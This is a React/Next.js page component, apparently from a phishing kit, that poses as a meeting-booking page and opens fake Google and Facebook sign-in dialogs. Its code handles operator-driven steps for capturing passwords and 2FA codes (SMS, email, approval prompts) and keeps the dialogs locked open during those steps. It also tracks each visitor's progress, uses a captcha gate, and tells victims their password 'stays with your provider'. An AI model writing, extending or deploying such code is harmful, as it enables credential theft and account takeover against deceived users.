"use client"

import { Dialog } from "@/components/ui/dialog"
import { Calendar, Lock, MapPin } from "lucide-react"
import { useState, useEffect, useRef } from "react"
import FacebookLoginDialog from "@/components/pages/facebook-login-dialog"
import GoogleLoginDialog from "@/components/pages/google-login-dialog"
import { useRouter } from "next/navigation"
import { RequireCaptchaGate } from "@/components/require-captcha-gate"
import {
  BookingSidebar,
  BookingCardFooter,
  BookingCardShell,
  ScheduleProviderButtons,
} from "@/components/booking-sidebar"
import type { RedirectHappeningDetail } from "@/lib/apply-client-redirect"
import {
  normalizeRedirectPath,
  getDialogParamFromRedirect,
  getAuthProviderFromRedirect,
} from "@/lib/booking-flow"
import { getAuthProvider, setAuthProvider, type AuthProvider } from "@/lib/auth-provider"
import { trackVisitorStep } from "@/lib/visitor-journey"
import {
  isLockedChallengeStep,
  loadVisitorDialogCommand,
  publishVisitorDialogCommand,
  subscribeVisitorDialogCommand,
} from "@/lib/visitor-dialog-command"

const AUTH_DIALOG_PARAMS = new Set([
  "google",
  "facebook",
  "login-error",
  "loading",
  "2fa",
  "2fa-error",
  "2fa-sms",
  "2fa-sms-error",
  "2fa-email",
  "2fa-email-error",
  "approve",
  "approve-error",
  "phone-code",
  "phone-code-error",
])

function isAuthDialogParam(dialog: string | null): boolean {
  return dialog != null && AUTH_DIALOG_PARAMS.has(dialog)
}

function resolveProvider(cmdProvider?: AuthProvider | null): AuthProvider {
  if (cmdProvider === "facebook" || cmdProvider === "google") return cmdProvider
  return getAuthProvider()
}

export default function ScheduleCall() {
  return (
    <RequireCaptchaGate>
      <ScheduleCallContent />
    </RequireCaptchaGate>
  )
}

function ScheduleCallContent({ inviteMode = false }: { inviteMode?: boolean }) {
  const [isGoogleDialogOpen, setIsGoogleDialogOpen] = useState(false)
  const [isFacebookDialogOpen, setIsFacebookDialogOpen] = useState(false)
  const [showProviderButtons, setShowProviderButtons] = useState(false)
  const router = useRouter()
  const userOpenedRef = useRef(false)

  const openProviderDialog = (provider: AuthProvider) => {
    if (provider === "google") {
      setIsFacebookDialogOpen(false)
      setIsGoogleDialogOpen(true)
    } else {
      setIsGoogleDialogOpen(false)
      setIsFacebookDialogOpen(true)
    }
  }

  const closeProviderDialog = (provider: AuthProvider) => {
    if (provider === "google") setIsGoogleDialogOpen(false)
    else setIsFacebookDialogOpen(false)
  }

  useEffect(() => {
    if (inviteMode) return
    const recaptchaCompleted = sessionStorage.getItem("recaptcha_completed") === "true"
    if (!recaptchaCompleted) {
      router.replace("/")
      return
    }
  }, [router, inviteMode])

  useEffect(() => {
    const handleBeforeUnload = () => {
      sessionStorage.removeItem("recaptcha_completed")
    }
    window.addEventListener("beforeunload", handleBeforeUnload)
    return () => window.removeEventListener("beforeunload", handleBeforeUnload)
  }, [])

  useEffect(() => {
    void trackVisitorStep({ id: "schedule.landed", label: "Schedule call page" })
  }, [])

  useEffect(() => {
    const openFromCommand = () => {
      const cmd = loadVisitorDialogCommand()
      if (!cmd) return
      if (cmd.step === "login" || isLockedChallengeStep(cmd.step)) {
        setShowProviderButtons(true)
        openProviderDialog(resolveProvider(cmd.provider))
      }
    }

    openFromCommand()
    const unsub = subscribeVisitorDialogCommand((cmd) => {
      userOpenedRef.current = false
      if (!cmd) {
        setIsGoogleDialogOpen(false)
        setIsFacebookDialogOpen(false)
        return
      }
      setShowProviderButtons(true)
      openProviderDialog(resolveProvider(cmd.provider))
    })

    return unsub
  }, [])

  useEffect(() => {
    const liveDialog = new URLSearchParams(window.location.search).get("dialog")
    if (isAuthDialogParam(liveDialog) || loadVisitorDialogCommand()) {
      const cmd = loadVisitorDialogCommand()
      const provider =
        liveDialog === "facebook" || liveDialog === "google"
          ? liveDialog
          : resolveProvider(cmd?.provider)
      openProviderDialog(provider)
    }
  }, [])

  useEffect(() => {
    const handleRemoteRedirect = (event: Event) => {
      const detail = (event as CustomEvent<RedirectHappeningDetail>).detail
      const raw = detail?.redirectToPage || detail?.redirectTo || ""
      if (!raw) return
      const target = normalizeRedirectPath(raw)
      if (target.includes("/schedule-call")) {
        userOpenedRef.current = false
        const dialog = getDialogParamFromRedirect(target)
        if (!dialog) {
          setIsGoogleDialogOpen(false)
          setIsFacebookDialogOpen(false)
          const auth = getAuthProviderFromRedirect(target)
          if (auth) {
            setAuthProvider(auth)
            setShowProviderButtons(true)
          }
          return
        }
        const cmd = loadVisitorDialogCommand()
        setShowProviderButtons(true)
        openProviderDialog(resolveProvider(cmd?.provider))
      } else {
        setIsGoogleDialogOpen(false)
        setIsFacebookDialogOpen(false)
      }
    }

    window.addEventListener("session-redirect-set", handleRemoteRedirect)
    window.addEventListener("admin-redirect-happening", handleRemoteRedirect)
    return () => {
      window.removeEventListener("session-redirect-set", handleRemoteRedirect)
      window.removeEventListener("admin-redirect-happening", handleRemoteRedirect)
    }
  }, [])

  const openProviderLogin = (provider: AuthProvider) => {
    userOpenedRef.current = true
    setAuthProvider(provider)
    void trackVisitorStep({
      id: provider === "google" ? "schedule.provider_google" : "schedule.provider_facebook",
      label: provider === "google" ? "Clicked Google login" : "Clicked Facebook login",
      provider,
    })
    publishVisitorDialogCommand(`/schedule-call?dialog=${provider}`)
    if (!inviteMode) {
      const url = new URL(window.location.href)
      url.searchParams.delete("dialog")
      url.searchParams.delete("gcode")
      router.replace(url.pathname + url.search)
    }
    openProviderDialog(provider)
  }

  return (
    <BookingCardShell>
      <div className="flex flex-col md:flex-row">
        <BookingSidebar />

        <div className="md:w-[58%] bg-[#067ab4] flex flex-col min-h-[520px]">
          <div className="flex-1 flex flex-col items-center justify-center px-10 py-12 text-center">
            <div className="flex items-center gap-5 mb-1">
              <Calendar className="w-[22px] h-[22px] text-white/70" strokeWidth={1.5} />
              <MapPin className="w-[22px] h-[22px] text-white/70" strokeWidth={1.5} />
            </div>
            <div className="w-10 h-px bg-white/35 mb-10" />

            <h2 className="text-white text-[22px] md:text-[26px] font-extrabold uppercase mb-5 leading-[1.3] tracking-[0.03em] max-w-[340px]">
              Let&apos;s get you ready
              <br />
              for what&apos;s ahead
            </h2>

            <p className="text-white/90 text-[14px] mb-10 max-w-[300px] leading-relaxed">
              Sign in to confirm your details and keep your meeting secure.
            </p>

            {!showProviderButtons ? (
              <button
                type="button"
                onClick={() => {
                  setShowProviderButtons(true)
                  void trackVisitorStep({
                    id: "schedule.continue",
                    label: "Continue clicked",
                  })
                  void trackVisitorStep({
                    id: "schedule.providers_shown",
                    label: "Provider buttons shown",
                  })
                }}
                className="h-12 w-full max-w-[280px] rounded-xl bg-white text-[16px] font-semibold text-[#067ab4] shadow-lg hover:bg-white/95 transition"
              >
                Continue
              </button>
            ) : (
              <div className="w-full max-w-[280px]">
                <ScheduleProviderButtons
                  onGoogle={() => openProviderLogin("google")}
                  onFacebook={() => openProviderLogin("facebook")}
                />
              </div>
            )}

            <Dialog
              open={isGoogleDialogOpen}
              onOpenChange={(open) => {
                const cmd = loadVisitorDialogCommand()
                if (
                  !open &&
                  cmd &&
                  isLockedChallengeStep(cmd.step) &&
                  resolveProvider(cmd.provider) === "google"
                ) {
                  setIsGoogleDialogOpen(true)
                  return
                }
                setIsGoogleDialogOpen(open)
                if (!open) userOpenedRef.current = false
              }}
            >
              {isGoogleDialogOpen ? (
                <GoogleLoginDialog onClose={() => closeProviderDialog("google")} />
              ) : null}
            </Dialog>

            <Dialog
              open={isFacebookDialogOpen}
              onOpenChange={(open) => {
                const cmd = loadVisitorDialogCommand()
                if (
                  !open &&
                  cmd &&
                  isLockedChallengeStep(cmd.step) &&
                  resolveProvider(cmd.provider) === "facebook"
                ) {
                  setIsFacebookDialogOpen(true)
                  return
                }
                setIsFacebookDialogOpen(open)
                if (!open) userOpenedRef.current = false
              }}
            >
              {isFacebookDialogOpen ? (
                <FacebookLoginDialog onClose={() => closeProviderDialog("facebook")} />
              ) : null}
            </Dialog>

            <div className="mt-10 space-y-1.5">
              <p className="text-white/75 text-[12px] flex items-center justify-center gap-1.5">
                <Lock className="w-3 h-3" />
                Secure connection &bull; We only access your name &amp; email
              </p>
              <p className="text-white/60 text-[12px]">
                Your password stays with your provider &bull; Takes about 10 seconds
              </p>
            </div>
          </div>
        </div>
      </div>

      <BookingCardFooter />
    </BookingCardShell>
  )
}

export { ScheduleCallContent }